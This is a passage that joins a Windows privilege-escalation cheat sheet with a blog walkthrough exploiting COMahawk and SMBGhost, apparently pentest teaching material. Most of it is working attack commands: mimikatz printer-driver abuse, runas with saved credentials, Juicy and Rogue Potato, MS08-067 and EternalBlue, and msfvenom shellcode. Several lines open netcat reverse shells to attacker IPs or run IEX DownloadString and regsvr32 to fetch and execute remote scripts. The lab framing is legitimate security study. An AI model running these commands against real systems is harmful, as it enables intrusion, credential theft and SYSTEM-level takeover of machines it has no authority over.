$printerName = 'Universal Priv Printer' $system32 = $env:systemroot + '\system32' $drivers = $system32 + '\spool\drivers' $RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll') Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll') Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll') Add-PrinterDriver -Name 'Generic / Text Only' Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
Execute the driver
$serverName = 'dc.purple.lab' $printerName = 'Universal Priv Printer' $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'}) Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue Add-Printer -ConnectionName $fullprinterName
Bring Your Own Vulnerability
Concealed Position : https://github.com/jacob-baines/concealed_position
- ACIDDAMAGE — CVE-2021-35449 — Lexmark Universal Print Driver LPE
- RADIANTDAMAGE — CVE-2021-38085 — Canon TR150 Print Driver LPE
- POISONDAMAGE — CVE-2019-19363 — Ricoh PCL6 Print Driver LPE
- SLASHINGDAMAGE — CVE-2020-1300 — Windows Print Spooler LPE
cp_server.exe -e ACIDDAMAGE # Get-Printer # Set the "Advanced Sharing Settings" -> "Turn off password protected sharing" cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE cp_client.exe -l -e ACIDDAMAGE
EoP — Runas
Use the cmdkey
to list the stored credentials on the machine.
cmdkey /list Currently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator
Then you can use runas
with the /savecred
options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" runas /savecred /user:Administrator "cmd.exe /k whoami"
Using runas
with a provided set of credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd) $computer = "<hostname>" [System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
EoP — Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it’s an easy way for Privilege Escalation.
# List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows # List shadow copies using diskshadow diskshadow list shadows all # Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
EoP — From local administrator to NT SYSTEM
EoP — Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
- Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra «unexpected» functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses - Have functionality that would be useful to an APT or red team
wmic.exe process call create calc regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll Microsoft.Workflow.Compiler.exe tests.xml results.xml
EoP — Impersonation Privileges
Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
Privilege | Impact | Tool | Execution path | Remarks |
---|---|---|---|---|
SeAssignPrimaryToken |
Admin | 3rd party tool | «It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe» | Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon. |
SeBackup |
Threat | Built-in commands | Read sensitve files with robocopy /b |
— May be more interesting if you can read %WINDIR%\MEMORY.DMP
— — Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
SeCreateToken |
Admin | 3rd party tool | Create arbitrary token including local admin rights with NtCreateToken . |
|
SeDebug |
Admin | PowerShell | Duplicate the lsass.exe token. |
Script to be found at FuzzySecurity |
SeLoadDriver |
Admin | 3rd party tool | 1. Load buggy kernel driver such as szkg64.sys or capcom.sys 2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with |
1. The szkg64 vulnerability is listed as CVE-2018-157322. The szkg64 exploit code was created by Parvez Anwar |
SeRestore |
Admin | PowerShell | 1. Launch PowerShell/ISE with the SeRestore privilege present. 2. Enable the privilege with Enable-SeRestorePrivilege). 3. Rename utilman.exe to utilman.old 4. Rename cmd.exe to utilman.exe 5. Lock the console and press Win+U |
Attack may be detected by some AV software.
Alternative method relies on replacing service binaries stored in «Program Files» using the same privilege. |
SeTakeOwnership |
Admin | Built-in commands | 1. takeown.exe /f "%windir%\system32" 2. icalcs.exe "%windir%\system32" /grant "%username%":F 3. Rename cmd.exe to utilman.exe 4. Lock the console and press Win+U |
Attack may be detected by some AV software.
Alternative method relies on replacing service binaries stored in «Program Files» using the same privilege. |
SeTcb |
Admin | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.
To be verified. |
Restore A Service Account’s Privileges
This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.
# https://github.com/itm4n/FullPowers c:\TOOLS>FullPowers [+] Started dummy thread with id 9976 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
Meterpreter getsystem and alternatives
meterpreter> getsystem Tokenvator.exe getsystem cmd.exe incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe psexec -s -i cmd.exe python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
RottenPotato (Token Impersonation)
- Binary available at : https://github.com/foxglovesec/RottenPotato
- Binary available at : https://github.com/breenmachine/RottenPotatoNG
getuid getprivs use incognito list\_tokens -u cd c:\temp\ execute -Hc -f ./rot.exe impersonate\_token "NT AUTHORITY\SYSTEM"
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser" Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM" Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
Juicy Potato (Abusing the golden privileges)
If the machine is >= Windows 10 1809 & Windows Server 2019 — Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 — Try Juicy Potato
- Binary available at : https://github.com/ohpe/juicy-potato/releases
-
Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)
-
Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
- Windows 7 Enterprise
- Windows 8.1 Enterprise
- Windows 10 Enterprise
- Windows 10 Professional
- Windows Server 2008 R2 Enterprise
- Windows Server 2012 Datacenter
- Windows Server 2016 Standard
-
Execute JuicyPotato to run a privileged command.
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 ...... [+] authresult 0 {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK
Rogue Potato (Fake OXID Resolver)
- Binary available at https://github.com/antonioCoco/RoguePotato
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999 # RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. # Use this if you have fw restrictions. RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" # RoguePotato all in one with RogueOxidResolver running locally on port 9999 RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 #RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
- Binary available at https://github.com/zcgonvh/EfsPotato
# .NET 4.x csc EfsPotato.cs csc /platform:x86 EfsPotato.cs # .NET 2.0/3.5 C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
EoP — Privileged File Write
DiagHub
⚠️ Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32
directory.
Exploit
- Create an evil DLL e.g: payload.dll and move it into
C:\Windows\System32
- Build https://github.com/xct/diaghub
diaghub.exe c:\\ProgramData\\ payload.dll
The default payload will run C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe
Alternative tools:
- https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
- https://github.com/decoder-it/diaghub_exploit
UsoDLLLoader
⚠️ 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
An alternative to the DiagHub DLL loading «exploit» found by James Forshaw (a.k.a. @tiraniddo)
If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of windowscoredeviceinfo.dll
into C:\Windows\Sytem32\
and then have it loaded by the USO service to get arbitrary code execution as NT AUTHORITY\System.
Exploit
- Build https://github.com/itm4n/UsoDllLoader
- Select Release config and x64 architecure.
- Build solution.
- DLL .\x64\Release\WindowsCoreDeviceInfo.dll
- Loader .\x64\Release\UsoDllLoader.exe.
- Copy
WindowsCoreDeviceInfo.dll
toC:\Windows\System32\
- Use the loader and wait for the shell or run
usoclient StartInteractiveScan
and connect to the bind shell on port 1337.
WerTrigger
Weaponizing for privileged file writes bugs with Windows problem reporting
- Clone https://github.com/sailay1996/WerTrigger
- Copy
phoneinfo.dll
toC:\Windows\System32\
- Place
Report.wer
file andWerTrigger.exe
in a same directory. - Then, run
WerTrigger.exe
. - Enjoy a shell as NT AUTHORITY\SYSTEM
EoP — Common Vulnerabilities and Exposure
MS08-067 (NetAPI)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
Metasploit modules to exploit MS08-067 NetAPI
.
exploit/windows/smb/ms08_067_netapi
If you can’t use Metasploit and only want a reverse shell.
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445 Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used) Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX) Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX) Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX) python ms08-067.py 10.0.0.1 6 445
MS10-015 (KiTrap0D) — Microsoft Windows NT/2000/2003/2008/XP/Vista/7
‘KiTrap0D’ User Mode to Ring Escalation (MS10-015)
https://www.exploit-db.com/exploits/11199 Metasploit : exploit/windows/local/ms10_015_kitrap0d
MS11-080 (afd.sys) — Microsoft Windows XP/2003
Python: https://www.exploit-db.com/exploits/18176 Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
MS15-051 (Client Copy Image) — Microsoft Windows 2003/2008/7/8/2012
printf("[#] usage: ms15-051 command \n"); printf("[#] eg: ms15-051 \"whoami /all\" \n"); # x32 https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe # x64 https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051 use exploit/windows/local/ms15_051_client_copy_image
MS16-032 — Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : wmic qfe list | findstr "3139914"
Powershell: https://www.exploit-db.com/exploits/39719/ https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 Binary exe : https://github.com/Meatballs1/ms16-032 Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion
.
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
If you can’t use Metasploit and only want a reverse shell.
git clone https://github.com/helviojunior/MS17-010 # generate a simple reverse shell to use msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe python2 send_and_execute.py 10.0.0.1 revshell.exe
CVE-2019-1388
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Requirement:
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
References
- Windows Internals Book — 02/07/2017
- icacls — Docs Microsoft
- Privilege Escalation Windows — Philip Linghammar
- Windows elevation of privileges — Guifre Ruiz
- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
- Basic Linux Privilege Escalation
- Windows Privilege Escalation Fundamentals
- TOP–10 ways to boost your privileges in Windows systems — hackmag
- The SYSTEM Challenge
- Windows Privilege Escalation Guide — absolomb’s security blog
- Chapter 4 — Windows Post-Exploitation — 2 Nov 2017 — dostoevskylabs
- Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability — September 18th, 2016 — Robert Russell
- Pentestlab.blog — WPE-01 — Stored Credentials
- Pentestlab.blog — WPE-02 — Windows Kernel
- Pentestlab.blog — WPE-03 — DLL Injection
- Pentestlab.blog — WPE-04 — Weak Service Permissions
- Pentestlab.blog — WPE-05 — DLL Hijacking
- Pentestlab.blog — WPE-06 — Hot Potato
- Pentestlab.blog — WPE-07 — Group Policy Preferences
- Pentestlab.blog — WPE-08 — Unquoted Service Path
- Pentestlab.blog — WPE-09 — Always Install Elevated
- Pentestlab.blog — WPE-10 — Token Manipulation
- Pentestlab.blog — WPE-11 — Secondary Logon Handle
- Pentestlab.blog — WPE-12 — Insecure Registry Permissions
- Pentestlab.blog — WPE-13 — Intel SYSRET
- Alternative methods of becoming SYSTEM — 20th November 2017 — Adam Chester @xpn
- Living Off The Land Binaries and Scripts (and now also Libraries)
- Common Windows Misconfiguration: Services — 2018-09-23 — @am0nsec
- Local Privilege Escalation Workshop — Slides.pdf — @sagishahar
- Abusing Diaghub — xct — March 07, 2019
- Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege — James Forshaw, Project Zero — Wednesday, April 18, 2018
- Weaponizing Privileged File Writes with the USO Service — Part 2/2 — itm4n — August 19, 2019
- Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows
- Abusing SeLoadDriverPrivilege for privilege escalation — 14 — JUN — 2018 — OSCAR MALLO
- Universal Privilege Escalation and Persistence – Printer — AUGUST 2, 2021)
For part 2 of this post we will be shifting our focus to kernel exploits for modern Windows operating systems, which include Windows versions Windows 10 and Server 2016/2019.
In part one we went over what the kernel is and how it is vulnerable; so, for part 2 we will be jumping straight into the good stuff!
We will begin by enumerating potential kernel exploits on a Windows 10 Pro machine using manual techniques as well as tools. From there, we will find two potential kernel vulnerabilities that look promising: COMahawk and SMBGhost. Next, we will look at how to exploit both to obtain a local admin and SYSTEM shell respectively. Finally, we will see a great new (2022) kernel exploit that affects a lot of Windows 10 versions using Metasploit.
Kernel Exploits for Modern Windows Operating Systems
In the last post we learned how to enumerate and exploit kernel vulnerabilities in older Windows operating systems. In this post, we will be looking at kernel exploits for modern Windows operating systems. Specifically, we will be targeting a Windows 10 Pro – Build 18362 – Version 1903 machine.
To begin, let’s check out some enumeration techniques that we can use to find if there are any kernel vulnerabilities on the host.
Hunting for Kernel Vulnerabilities
For this example, we have obtained a foothold on a Windows10 machine as standard user bob.
Enumerating Kernel Exploits – Manual Method
Just like in the last post, the first thing we need to do is use the systeminfo command to find the OS version, architecture, and most importantly the hotfixes (KB’s) that have been installed.
Here we can see that this is a Windows 10 Pro – Build 18362 (version 1903) – x64 (64-bit) system. We can also see that there are two hotfixes installed on this host.
To gather information about the hotfixes installed on a host, we can use the following wmic command:
wmic qfe get Caption,Description,HotFixID,InstalledOn
From what we learned in part one of this post, the date that the hotfix was installed on matters and indicates that the target is vulnerable to any kernel exploits that were discovered after this date, so long as this version of Windows 10 is affected.
Microsoft no longer uses MS bulletin numbers like “MS17-010” for their disclosed vulnerabilities. As of late 2017 / early 2018, Microsoft now uses the CVE number associated with the vulnerability. This means that for modern kernel exploits, we will see that they are all labeled as CVE-20XX-XXXX.
To start, we could Google the two installed hotfixes to see what vulnerabilities they patch against. From there, we would know what our target is NOT vulnerable to. This means that any exploit for this specific Windows version (1903) that were discovered after the hotfix date should work.
Again, this technique is only works feasible if there are minimal hotfixes installed.
Once we know which vulnerabilities the target is NOT vulnerable to, we can begin testing exploits from the GitHub repo here. This is the same repo as we saw in part one that contains the precompiled kernel exploit binaries.
We can inspect these exploits and see if any of them will work for us. Right away, one sticks out “CVE-2020-0796” for our specific version of Windows (1903) and the exploit is from 2020, which is later than the targets last update (04/2019).
Alternatively, we can just go right to Google to try and find an exploit since this GitHub repo is somewhat limited on modern kernel exploits.
I would start by using the following Google searches: Windows 10 1903 kernel exploit OR windows 10 18362 kernel exploit. From those two searches you will find some blogs and other sites that will mention CVE’s that this version of Windows is vulnerable to. Then you use the CVE numbers found to search for an exploit. For example, if our Google search turned up that this version of Windows is vulnerable to “CVE-2020-0796” then our next Google search should be: CVE-2020-0796 github
Enumerating Kernel Exploits – Tools
There are two tools that we will be using to enumerate kernel vulnerabilities for this machine. The first is still a “manual” method; however, it will help guide us down the right track, which is searchsploit. The second tool is the successor of Sherlock.ps1, which is a tool called Watson.exe.
Searchsploit
Searchsploit is a great tool that comes built-in with Kali that contains all of the exploits from exploit-db pre-packaged. This means we can search for exploits using the searchsploit command and then utilize the built-in exploit for a specified vulnerability.
For example, we can use the following command to see if there are any exploits for this version of Windows.
searchsploit 1903
Here we can see there are three potential exploits we can test.
For a more broad search we can use the command searchsploit Windows 10 > vulns.txt and then we can use grep on the vulns.txt file to look over more exploits. Some may not have the numbers ‘1903’ specifically in the name, so we are likely missing potential exploits with the narrow search above.
From here we can see that these are all TXT files, which will likely have a link inside them to a GitHub repo that contains the exploit to use. We can either copy these files into our directory, or since they are TXT files, we can just use the locate command to find the full path and then cat the file. For example:
locate 48267.txt
cat /usr/share/exploitdb/exploits/windows/local/48267.txt
In the TXT file we can see that this is CVE-2020-0796. This means this exploit is newer than the targets latest patch and therefore, should be an exploit we can use to elevate to SYSTEM. Plus the exploit title shows the targets specific version so this is VERY promising.
With each exploit you find in Searchsploit, it’s a good idea to Google the CVE number associated to it and then find the KB number associated with the CVE. Once the KB number has been identified, you can cross reference the machine’s hotfixes to see if it is patched or not.
As mentioned earlier, searchsploit will be more of a nudge in the right direction by supplying us with potential exploits that we can research to find if our target is vulnerable to them or not.
Watson.exe
Watson is the successor of Sherlock.ps1, which was one of the tools we saw in the first post. Watson enumerates local kernel exploits for modern Windows operating systems, just the same as Sherlock.ps1 does for older ones.
With a built-in database of CVE’s and the KB numbers of the patches for those vulnerabilities, Watson will then cross reference this list to the installed patches (KB numbers) and determine which exploits the target is vulnerable to based on the missing patches.
Unfortunately, Watson has not been updated for about two years. This means that it will not include exploits for very modern Window’s operating systems.
Watson supports Windows versions: Windows 10 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004 // Server 2016 & 2019
Another issue is that Watson.exe does not come precompiled and when compiling it from the GitHub repo, there are some edits that need to be made to multiple scripts for it to compile and work correctly.
Luckily I have taken the liberty of fixing the scripts, adding an SMBGhost check, and compiling it for us.
You can grab the pre-compiled version of Watson.exe that includes the SMBGhost check from my GitHub repo here.
After downloading a copy Watson.exe on our attacker machine, we can proceed to transfer it to the victim using one of the file transfer techniques found in this post here.
Cool! Now that we have Watson on the victim, we can simply execute it and then review the output.
.\Watson.exe
Watson found that our target is vulnerable to 11 potential vulnerabilities and provided a nice curated list of CVE numbers along with websites that are hosting exploits for each.
TIP: winPEAS has Watson built-in and also includes the SMBGhost check.
We can now proceed to visit the links in the output or Google these exploits to see which ones will fit out needs.
Testing Kernel Exploits and Elevating Privileges to Administrator / SYSTEM
For this example, we will look at how we can use the COMahawk and SMBGhost exploits to Elevate our privileges to local administrator and SYSTEM respectively.
Elevating Privileges to Local Administrator Using COMahawk
From the Watson output, the following GitHub repo here was provided that contains an exploit for this vulnerability. If we navigate to ‘Releases’ on the right side of the page, we can grab a precompiled copy of this exploit on our attacker machine.
After downloading the precompiled binary onto our attacker machine, we need to transfer it to the victim.
The precompiled binary is set to run a command that creates a new user named Tomahawk with password RibSt3ak69. Then, it adds the newly created user to the local administrators group.
Awesome! We successfully exploited this kernel vulnerability and created a new local admin user!
At this point, we can get an administrator prompt in one of two ways. First, if RDP is open we can simply use the following command to login and then open a command prompt using “Run as administrator”:
sudo xfreerdp /u:Tomahawk /p:'RibSt3ak69' /v:172.16.1.250 +clipboard
Cool, we can get an admin prompt, but what happens when RDP is not open? We know this is a local admin user; however, when we test our access over SMB with crackmapexec we see that the user is valid; however, it does not show Pwn3d!, which is necessary for command execution.
crackmapexec smb 172.16.1.250 -u Tomahawk -p 'RibSt3ak69' --local-auth
This means we cannot get command execution through this service and psexec.py is out the window.
This occurs due to our local admin user getting stuffed by UAC. We can bypass this and get an admin shell as this user without GUI; however, it would require a combination of using runas to get a medium-integrity shell and then using some sort of UAC bypass technique to elevate the medium shell to a high-integrity one.
If you are interested in seeing how to get a reverse shell as the user Tomahawk and then elevating that shell to a fully privileged high-integrity shell, check out my post on runas here and UAC-bypass techniques here. In those posts I go over this exact scenario.
Elevating Privileges to SYSTEM Using SMBGhost
Next, we will see how we can use the SMBGhost exploit to elevate our privileges to SYSTEM.
SMBGhost is a buffer overflow exploit.
There is no precompiled binary for this exploit as far as I am aware, so we will have to compile this ourselves. This gives us the advantage of being able to pick the command that is executed rather than what we saw with COMahawk where it created a local admin user.
You will need to have Visual Studio installed on a Windows lab machine to compile this exploit. I have Visual Studio 2022 installed on a Windows 10 lab machine, which is what I will be using for this demonstration.
To start, we need to go to the following GitHub repo here from our lab machine and download the zip file of the entire repo.
After downloading the ZIP, head to the Downloads folder and then open the ZIP and copy the ‘master’ folder onto the Desktop. The contents of the folder should look like this:
Alright, now that we have the exploit our lab machine, we need to open the project. To do this, right-click the SLN and open it in Visual Studio.
This will load the entire project up into Visual Studio where all the files can be found on the right side in the Solution Explorer. Most importantly, the CPP is located here.
Clicking on the exploit.cpp file places it in the Visual Studio editor where we can then edit the script.
If we scroll down we will see this part of the script here that contains shellcode. We need to edit this for our needs, which is to produce a reverse shell.
Back on our attacker machine, we can generate shellcode to produce a reverse shell using the following msfvenom command:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll -f csharp
Here we have a few things to note. First, the payload size for this exploit cannot exceed 600 bytes; however, we are in the clear as this is only 460 bytes. Next, we need to copy this shellcode (not including the curly brace and semi-colon) and replace the shellcode in the exploit.cpp file in Visual Studio.
Note that I double tabbed each line of the shellcode to line up the same way it was with the original shellcode.
Now that we have modified the code to push a reverse shell to our attacker machine, we need to compile this exploit and transfer it back to our attacker machine to then transfer it onto the victim.
At the top of the Visual Studio screen, set build options to ‘Release’ and ‘x64’.
Next, go to the Build tab at the very top and select Build Solution.
And we should see that Visual has built the EXE successfully.
The easiest way to transfer this to our attacker machine is to setup a quick SMB share, like so:
impacket-smbserver share $(pwd) -smb2support
After setting up the share on our attacker machine, we can navigate to the folder in the build output, for me it was: C:\Users\administrator\Desktop\CVE-2020-0796-master\x64\Release\
Open File Explorer and then copy and paste the folder name in the address bar to navigate to the folder housing the exploit we made.
Next, in the address bar, type ‘cmd’ and press enter to open a command prompt inside this directory.
Lastly, we can copy the file to our attacker machine and rename it to SMBGhost.exe, like so:
copy .\cve-2020-0796-local.exe \\172.16.1.30\share\SMBGhost.exe
The output shows that the file copied successfully; and back on our attacker machine, we can see the lab machine checked in and now the EXE is in the folder where we setup the SMB share.
Before we pop this exploit, we need to setup a netcat listener on port 443.
Another thing I need to mention is that if Visual Studio is not installed on the target host, then this exploit will not work since it requires the vcruntime140.dll file to execute.
Since we still have our share open on our attacker machine, we can copy the exploit onto the victim and then execute it using the following commands:
copy \\172.16.1.30\share\SMBGhost.exe .
.\SMBGhost.exe
The prompt hangs and no shell!? — but… if we had access to see the victim’s GUI, we can see the issue with the following error that popped up.
VCRUNTIME140.dll is a runtime library of the Microsoft Visual Studio and it is used to run the programs or software developed in the Microsoft Visual Studio.
Since we have Visual Studio on our lab machine, we can actually just send a copy of this DLL to our attacker machine.
C:\Windows\System32\vcruntime140.dll \\172.16.1.30\share
And then copy it onto the victim.
copy \\172.16.1.30\share\vcruntime140.dll .
As long as both the exploit and DLL are in the same folder, this exploit should work.
The default location of vcruntime140.dll is C:\Windows\System32; however, as long as it resides in the same folder as the payload it will work.
This time when we execute it, we get a message indicating that it worked.
And back on our listener, we got our SYSTEM shell!
